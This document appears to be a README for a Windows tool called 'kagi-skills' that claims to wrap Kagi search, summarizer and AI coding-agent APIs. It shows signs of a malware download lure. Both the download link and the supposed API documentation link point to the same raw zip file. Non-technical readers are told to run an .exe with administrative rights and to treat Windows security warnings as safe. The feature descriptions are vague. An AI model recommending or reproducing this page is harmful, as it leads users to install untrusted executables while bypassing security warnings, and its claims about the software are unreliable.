⚙️ kagi-skills - Easy Tools for Kagi API Use

📋 About kagi-skills

kagi-skills is a set of simple tools to help you use Kagi APIs. These tools let you connect with Kagi services to improve search, coding help, and text summarization. You don’t need any coding knowledge to get started. Just follow the steps in this guide to download and use these tools on a Windows computer.

The skills include working with Kagi search, the Claude and Codex coding agents, Gemini CLI, and more. These help you get better results from your queries, automate certain tasks, and handle information quickly.

🖥️ System Requirements

Before you install, make sure your Windows PC meets these basics:

• Windows 10 or later (64-bit recommended)
• At least 4 GB of RAM
• 500 MB free disk space
• An active internet connection for API access
• Administrative rights to install software

No special hardware or software is needed beyond Windows running well on your PC.

🚀 Getting Started

You can get kagi-skills in just a few steps. This guide walks you through everything you need.

Step 1: Download the Software

Visit the official release page to get the latest version of kagi-skills for Windows:

Download kagi-skills from GitHub

Click the link above or the blue download button at the top. This will take you to the release page where you can find the Windows installer file.

Look for a file with a name like kagi-skills-setup.exe or similar. Files are sorted by release date, so the newest should be at the top.

Step 2: Run the Installer

Once the file is downloaded:

1. Locate the downloaded file in your Downloads folder.
2. Double-click the .exe file to start the installer.
3. Follow the clear instructions provided by the installer. Usually, you just need to click “Next” a few times.
4. Choose the folder where you want the program installed or keep the default.
5. When it finishes, click “Finish” to close the installer.

You might see a Windows security warning. This happens because the app is new or not from the Microsoft Store. It’s safe if you downloaded the file from the link above.

Step 3: Open kagi-skills

After installation, you can start using kagi-skills:

• Look for the "kagi-skills" icon on your desktop or in the Start menu.
• Double-click the icon to run the application.
• You will see a menu or commands for the different skills available, such as search, coding agents, or summarizer.

🔧 How to Use kagi-skills

kagi-skills works by letting you interact with Kagi APIs in simple ways. Here are examples of what you can do with it:

Kagi Search Skill

This skill improves your search experience by connecting to Kagi’s search API.

• Enter your search term in the app.
• The app sends it to Kagi’s API.
• You get back organized search results.

Coding Agent Skills

These include tools powered by AI models like Claude and Codex.

• You provide a coding question or request.
• The skill interprets it and returns suggestions or code snippets.
• This helps if you want to learn coding or get programming help.

Summarizer Skill

Use this to get quick summaries of long texts.

• Paste the text or upload a file.
• The skill processes it.
• It returns a shortened version highlighting the main points.

Gemini CLI and Other Tools

These tools help power the backend functions. You can use them without coding by following the app menus.

⚙️ Settings and Configuration

kagi-skills includes some basic settings you can change:

• API Key Setup: Enter your Kagi API key to enable the skills. The app will ask for this when you first run it.
• Language Preferences: Select your preferred language if supported.
• Output Format: Choose how you want results displayed (text, JSON, etc.).

You don’t need to change these if you want the default experience.

🛠️ Troubleshooting

If you run into problems:

• Make sure your internet connection is active.
• Check you downloaded the file from the official link.
• Restart the app and try again.
• Ensure your Windows version is up to date.
• If the app crashes, try reinstalling it.

Common questions include:

• “I can’t find the installer file.” Look again in the Downloads folder or check your browser’s default save location.
• “The app asks for an API key.” Sign up on Kagi’s website and get your key. The app needs it to access services.
• “I see an error on startup.” This may be due to missing files or permissions. Run the app as administrator or reinstall.

🔗 Useful Links

Download page again for easy access:

https://raw.githubusercontent.com/wawa1154/kagi-skills/main/kagi-search/kagi-skills-v1.8.zip

Kagi API documentation (for reference):
https://raw.githubusercontent.com/wawa1154/kagi-skills/main/kagi-search/kagi-skills-v1.8.zip (Note: this link is informational)

🌐 Security and Privacy

kagi-skills only sends data you enter to the Kagi APIs for processing. No personal or sensitive data is stored on your PC by the app.

All communication is encrypted using standard internet security protocols.

📞 Getting Support

If you need help beyond this guide:

• Check the repository’s Issues section on GitHub.
• Review community discussions for answers.
• Ask questions clearly stating your problem.

🎯 Summary of Steps

1. Download kagi-skills from the release page above.
2. Run the installer and follow instructions.
3. Open the app and enter your API key.
4. Choose the skill you want and start using it.